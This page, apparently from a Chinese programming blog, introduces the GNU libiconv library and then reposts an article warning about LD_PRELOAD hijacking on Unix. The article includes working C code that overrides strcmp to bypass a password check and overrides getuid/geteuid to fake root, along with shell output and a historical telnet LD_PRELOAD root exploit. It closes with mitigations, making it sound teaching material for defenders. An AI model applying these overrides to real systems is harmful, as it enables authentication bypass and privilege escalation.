查看原文

http://www.gnu.org/software/libiconv/

由于历史原因,国际上的各国文字都是依赖于自己本国语言而编码的。后来,随着Internet的出现和各国之间逐渐频繁的文字交流(比如浏览国外的Web页面),编码之间的转换就显得非常重要。这时也出现了一个问题,很多字符在一种编码中出现而没有被另一种编码包含。为了解决这种编码带来的混乱,人们发明了Unicode编码。它是所有编码的超集,因此成为新的文本格式的默认编码,象XML。

尽管如此,很多计算机在当地仍然使用传统字符编码方式。有些程序,象邮件客户端和Web浏览器,必须能够在原编码方式和用户本地编码方式之间进行转换;还有一些程序,为了方便内部处理,内部用Unicode存储,当作I/O 操作时,需要在内部编码方式(Unicode)和外部展现的编码方式(传统编码)之间转换。

GNU libiconv就是一个实现上述两种应用的转换库。

细节

本库提供了iconv()的实现,应用于没有支持编码转换的系统。

支持以下编码方式:

l        欧洲语言

ASCII, ISO-8859-{1,2,3,4,5,7,9,10,13,14,15,16}, KOI8-R, KOI8-U, KOI8-RU, CP{1250,1251,1252,1253,1254,1257}, CP{850,866}, Mac{Roman,CentralEurope,Iceland,Croatian,Romania}, Mac{Cyrillic,Ukraine,Greek,Turkish}, Macintosh

l        犹太语言

ISO-8859-{6,8}, CP{1255,1256}, CP862, Mac{Hebrew,Arabic}

l        日语

EUC-JP, SHIFT_JIS, CP932, ISO-2022-JP, ISO-2022-JP-2, ISO-2022-JP-1

l        中文

EUC-CN, HZ, GBK, CP936, GB18030, EUC-TW, BIG5, CP950, BIG5-HKSCS, BIG5-HKSCS:2001, BIG5-HKSCS:1999, ISO-2022-CN, ISO-2022-CN-EXT

l        韩语

EUC-KR, CP949, ISO-2022-KR, JOHAB

l        亚美尼亚语

ARMSCII-8

l        亚美尼亚语

Georgian-Academy, Georgian-PS

l        塔吉克语

KOI8-T

l        哈萨克语

PT154

l        泰国语

ISO-8859-11, TIS-620, CP874, MacThai

l        老挝语

MuleLao-1, CP1133

l        越南语

VISCII, TCVN, CP1258

l        特殊平台

HP-ROMAN8, NEXTSTEP

l        Full Unicode

UTF-8

UCS-2, UCS-2BE, UCS-2LE

UCS-4, UCS-4BE, UCS-4LE

UTF-16, UTF-16BE, UTF-16LE

UTF-32, UTF-32BE, UTF-32LE

UTF-7

C99, JAVA

l        Full Unicode, 按uint16_t/uint32_t (with machine dependent endianness and alignment)

UCS-2-INTERNAL, UCS-4-INTERNAL

l        Locale dependent, 按char/wchar_t (with machine dependent endianness and alignment, and with OS and locale dependent semantics)

char, wchar_t

名称为空的编码方式等同于“char”:表示依赖本地的字符编码。

如果配置了选项--enable-extra-encodings,还支持部分其它编码方式:

l        欧洲语言

CP{437,737,775,852,853,855,857,858,860,861,863,865,869,1125}

l        犹太语言

CP864

l        日语

EUC-JISX0213, Shift_JISX0213, ISO-2022-JP-3

l        中文

BIG5-2003 (experimental)

l        土库曼语

TDS565

l        特殊平台

ATARIST, RISCOS-LATIN1

通过与Unicode之间的转换,libiconv支持所有这些编码方式的任意转换。

安装

GNU包的常规安装:

$ ./configure --prefix=/usr/local

$ make

$ make install

第一次安装libiconv库后,强烈建议你重新编译和重新安装gettext,使它能使用libiconv强大的功能。

在非GUN/Linux系统上,只有gettext在libiconv之前生成和安装,采用iconv的程序才能支持国际化。也就是说,首先安装libiconv,libiconv和gettext之间的循环依赖关系,可通过生成、安装任一包来解决。

顺序1:libiconv -

2

> gettext -> libiconv,或

顺序2:gettext -> libiconv -> gettext(支持共享库的系统,AIX除外)

记住,第二次生成包时,你需要运行"make distclean"来清除第一次生成时留下的痕迹。

这个库的生成、安装有两种模式。

²       库模式(library mode)。可工作在所有系统上,使用库文件libiconv.so和头文件(两个文件通过“make install”安装)

使用这种模式,只需简单地#include ,然后使用函数。

自动配置包方式(autoconfiguring package)使用这种模式:

如果不使用automake,将m4/iconv.m4附加到你的aclocal.m4文件中;

如果使用automake,将m4/iconv.m4添加到你的m4 macro repository;

运用占位符@LIBICONV@(使用libtool创建链接,则为@LTLIBICONV@),将使用iconv函数的库文件和可执行文件添加到链接命令行中。如果使用automake,这些占位符的右边是*_LDADD。

注意,iconv.m4也是gettext包的一部分,安装在/usr/local/share/aclocal/iconv.m4。

²       libc的插入/重载模式(libc plug/override mode)。仅工作在GNU/Linux、Solaris和OSF/1系统上。是一种在没有glibc时来获取较好的iconv支持的途径。

这种模式安装库文件preloadable_libiconv.so,通过选项LD_PRELOAD,来重载所有C语言库中的iconv*函数。

GNU/Linux和Solaris系统:

$ export LD_PRELOAD=/usr/local/lib/preloadable_libiconv.so

OSF/1系统:

$ export _RLD_LIST=/usr/local/lib/preloadable_libiconv.so:DEFAULT

程序的代码不需要修改,甚至不需要重新编译,仅仅设置环境变量LD_PRELOAD即可。

下载libiconv

libiconv在GNU镜像站点 的子目录/pub/gnu/libiconv/找到。

通过其他途径获取libiconv,请阅读怎样获取GNU软件。

最新发布版本是 http://ftp.gnu.org/pub/gnu/libiconv/libiconv-1.11.tar.gz

文档

下面列出了相关在线文档的链接。

iconv程序

iconv.1.html

库函数

iconv_open.3.html

iconv.3.html

iconv_close.3.html

iconvctl.3.html

警惕UNIX下的LD_PRELOAD环境变量

陈皓

前言

也许这个话题并不新鲜,因为LD_PRELOAD所产生的问题由来已久。不过,在这里,我还是想讨论一下这个环境变量。因为这个环境变量所带来的安全问题非常严重,值得所有的Unix下的程序员的注意。

在开始讲述为什么要当心LD_PRELOAD环境变量之前,请让我先说明一下程序的链接。所谓链接,也就是说编译器找到程序中所引用的函数或全局变量所存在的位置。一般来说,程序的链接分为静态链接和动态链接,静态链接就是把所有所引用到的函数或变量全部地编译到可执行文件中。动态链接则不会把函数编译到可执行文件中,而是在程序运行时动态地载入函数库,也就是运行链接。所以,对于动态链接来说,必然需要一个动态链接库。动态链接库的好处在于,一旦动态库中的函数发生变化,对于可执行程序来说是透明的,可执行程序无需重新编译。这对于程序的发布、维护、更新起到了积极的作用。对于静态链接的程序来说,函数库中一个小小的改动需要整个程序的重新编译、发布,对于程序的维护产生了比较大的工作量。

当然,世界上没有什么东西都是完美的,有好就有坏,有得就有失。动态链接所带来的坏处和其好处一样同样是巨大的。因为程序在运行时动态加载函数,这也就为他人创造了可以影响你的主程序的机会。试想,一旦,你的程序动态载入的函数不是你自己写的,而是载入了别人的有企图的代码,通过函数的返回值来控制你的程序的执行流程,那么,你的程序也就被人“劫持”了。

LD_PRELOAD简介

在UNIX的动态链接库的世界中,LD_PRELOAD就是这样一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入恶意程序,从而达到那不可告人的罪恶的目的。

我们知道,Linux的用的都是glibc,有一个叫libc.so.6的文件,这是几乎所有Linux下命令的动态链接中,其中有标准C的各种函数。对于GCC而言,默认情况下,所编译的程序中对标准C函数的链接,都是通过动态链接方式来链接libc.so.6这个函数库的。

OK。还是让我用一个例子来看一下用LD_PRELOAD来hack别人的程序。

示例一

我们写下面一段例程:

/* 文件名:verifypasswd.c */

/* 这是一段判断用户口令的程序,其中使用到了标准C函数strcmp*/

#include

#include

int main(int argc, char **argv)

{

char passwd[] = "password";

if (argc < 2) {

printf("usage: %s \n", argv[0]);

return;

}

if (!strcmp(passwd, argv[1])) {

printf("Correct Password!\n");

return;

}

printf("Invalid Password!\n");

}

在上面这段程序中,我们使用了strcmp函数来判断两个字符串是否相等。下面,我们使用一个动态函数库来重载strcmp函数:

/* 文件名:hack.c */

#include

#include

int strcmp(const char *s1, const char *s2)

{

printf("hack function invoked. s1= s2=\n", s1, s2);

/* 永远返回0,表示两个字符串相等 */

return 0;

}

编译程序:

$ gcc -o verifypasswd verifypasswd.c

$ gcc -shared -o hack.so hack.c

测试一下程序:(得到正确结果)

$ ./verifypasswd asdf

Invalid Password!

设置LD_PRELOAD变量:(使我们重写过的strcmp函数的hack.so成为优先载入链接库)

$ export LD_PRELOAD="./hack.so"

再次运行程序:

$ ./verifypasswd  asdf

hack function invoked. s1= s2=

Correct Password!

我们可以看到,1)我们的hack.so中的strcmp被调用了。2)主程序中运行结果被影响了。如果这是一个系统登录程序,那么这也就意味着我们用任意口令都可以进入系统了。

示例二

让我们再来一个示例(这个示例来源于我的工作)。这个软件是一个分布式计算平台,软件在所有的计算机上都有以ROOT身份运行的侦听程序(Daemon),用户可以把的一程序从A计算机提交到B计算机上去运行。这些Daemon会把用户在A计算机上的所有环境变量带到B计算机上,在B计算机上的Daemon会fork出一个子进程,并且Daemon会调用seteuid、setegid来设置子程的执行宿主,并在子进程空间中设置从A计算机带过来的环境变量,以仿真用户的运行环境。(注意:A和B都运行在NIS/NFS方式上)

于是,我们可以写下这样的动态链接库:

/* 文件名:preload.c */

#include

#include

#include

uid_t geteuid( void ) { return 0; }

uid_t getuid( void ) { return 0; }

uid_t getgid( void ) { return 0; }

在这里我们可以看到,我们重载了系统调用。于是我们可以通过设置LC_PRELOAD来迫使主程序使用我们的geteuid/getuid/getgid(它们都返回0,也就是Root权限)。这会导致,上述的那个分布式计算平台的软件在提交端A计算机上调用了geteuid得到当前用户ID是0,并把这个用户ID传到了执行端B计算机上,于是B计算机上的Daemon就会调用seteuid(0),导致我们的程序运行在了Root权限之下。从而,用户取得了超级用户的权限而为所欲为。

上面的这个preload.c文件也就早期的为人所熟知的hack程序了。恶意用户通过在系统中设计LC_PRELOAD环境变量来加载这个动态链接库,会非常容易影响其它系统命令(如:/bin/sh, /bin/ls, /bin/rm 等),让这些系统命令以Root权限运行。

让我们看一下这个函数是怎么影响系统命令的:

$ id

uid=500(hchen) gid=10(wheel) groups=10(wheel)

$ gcc -shared -o preload.so preload.c

$ setenv LD_PRELOAD ./preload.so

$ id

uid=0(root) gid=0(root) egid=10(wheel) groups=10(wheel)

$ whoami

root

$ /bin/sh

#

下面是一个曾经非常著名的系统***

$ telnet

telnet> env def LD_PRELOAD /home/hchen/test/preload.so

telnet> open localhost

#

当然,这个安全BUG早已被Fix了(虽然,通过id或是whoami或是/bin/sh让你觉得你像是root,但其实你并没有root的权限),当今的Unix系统中不会出现这个的问题。但这并不代表,我们自己写的程序,或是第三方的程序能够避免这个问题,尤其是那些以Root方式运行的第三方程序。

所以,在我们编程时,我们要随时警惕着LD_PRELOAD。

如何避免

不可否认,LD_PRELOAD是一个很难缠的问题。目前来说,要解决这个问题,只能想方设法让LD_PRELOAD失效。目前而言,有以下面两种方法可以让LD_PRELOAD失效。

1)通过静态链接。使用gcc的-static参数可以把libc.so.6静态链入执行程序中。但这也就意味着你的程序不再支持动态链接。

2)通过设置执行文件的setgid / setuid标志。在有SUID权限的执行文件,系统会忽略LD_PRELOAD环境变量。也就是说,如果你有以root方式运行的程序,最好设置上SUID权限。(如:chmod 4755 daemon)

在一些UNIX版本上,如果你想要使用LD_PRELOAD环境变量,你需要有root权限。但不管怎么说,这些个方法目前来看并不是一个彻底的解决方案,只是一个Workaround的方法,是一种因噎废食的做法,为了安全,只能禁用。

c语言 iconv函数,libiconv的介绍相关推荐

  1. fclose在c语言中的作用,c语言fcloseall函数用法实例介绍

    c语言fcloseall函数用法实例介绍.fcloseall函数的返回值,函数 fcloseall() 将所有打开的流与其底层的文件或功能集合关闭.任何缓冲的数据都将首先被写入,使用 fflush(3 ...

  2. C语言strcmp()函数的使用介绍

    C语言strcmp()函数的使用介绍 C语言中的strcmp()[全称是string compare]函数常用于对两个字符串进行比较(区分大小写) 头文件:string.h 使用方法: #includ ...

  3. c语言中 允许函数重载么,简述C++语言支持函数重载问题介绍

    对于C++语言作为一种欲与C兼容的语言,C++语言保留了一部分过程式语言和特点,foo_int_int这样的名字包含了函数名.函数参数数量及类型信息,C++语言就是靠这种机制来实现函数重载的. 因而它 ...

  4. Go语言Append函数的使用

            1.append函数的使用 作用:在原切片的末尾添加元素 示例: package main //必须有个main包import "fmt"func main() { ...

  5. PHP中的mb_convert_encoding与iconv函数介绍

    iconv函数库能够完成各种字符集间的转换,是php编程中不可缺少的基础函数库.  1.下载libiconv函数库http://ftp.gnu.org/pub/gnu/libiconv/libicon ...

  6. c语言使用iconv函数实现字符编码转换

    c语言使用iconv函数实现字符编码转换 linux下提供了iconv库来实现字符编码转换,先介绍下命令行: iconv [-f encoding] [-t encoding] [inputfile ...

  7. C语言tolower函数介绍、示例和实现

    文章目录 1.包含头文件 2.函数声明 3.功能说明 4.示例 5.自定义的tolower函数的实现方法 6.获取视频教程 7.版权声明 C语言tolower函数用于把大写字母转换为小写字母. 在本文 ...

  8. C语言isupper函数介绍、示例和实现

    文章目录 1.包含头文件 2.函数声明 3.功能说明 4.示例 5.自定义的isupper函数的实现方法 6.获取视频教程 7.版权声明 C语言isupper函数用于判断字符是否为大写字母(A-Z). ...

  9. C语言islower函数介绍、示例和实现

    文章目录 1.包含头文件 2.函数声明 3.功能说明 4.示例 5.自定义的islower函数的实现方法 6.获取视频教程 7.版权声明 C语言islower函数用于判断字符是否为小写字母(a-z). ...

最新文章

  1. 如何用 Python 将 Excel 表格转成可视化图形?| 原力计划
  2. git用法小结(2)--git分支
  3. 利用tcpdump抓取mysql sql语句
  4. 融资租赁基础干货知识大整理
  5. jQuery的链Chaining
  6. html内容点击按钮自动复制,HTML页面---复制按钮的使用(包含弹层)
  7. web 开发之js---页面缓存, jsp 缓存, html 缓存, ajax缓存,解决方法
  8. Git学习总结(23)——Git commit message和版本管理规范总结
  9. js中的引用类型-object
  10. 命令行 移动整个文件夹 -baijiahao_Windows高手的高效办公利器——Windows命令行简介...
  11. PopupWindow 常用方法学习笔记
  12. mavros常用消息类型表
  13. 【渝粤题库】陕西师范大学163213 景区管理 作业(专升本)
  14. java历save_日历【savejava吧】_百度贴吧
  15. 关于Linux内核vmlinuz、initrd.img和System.map
  16. SIM868使用笔记
  17. Lesson 6英语句子的种类(简单并列复合句)
  18. 8大常见的服务器管理小工具
  19. UE4 虚幻引擎,动画篇(三)Animation动画,骨骼怎么k帧
  20. 微信公众号流量主的实际收益(本人亲测)

热门文章

  1. 大象无形10.1.1学习笔记--UObject对象来源
  2. 解决微信退款通知 解密高版本PHP Call to undefined function mcrypt_decrypt
  3. 蓝天算法的作用及由来
  4. WINDOWS10服务器端如何开启SSH服务
  5. 《Java开发手册》2019最新版发布!
  6. 2022年京东年货节时间表和年货节活动攻略
  7. Java — 包装器类
  8. 软考—程序员(软件生存周期模型)
  9. 关于知道区块的geohash值,求区块中点坐标和四角坐标
  10. 如何编写程序设置Android来电铃声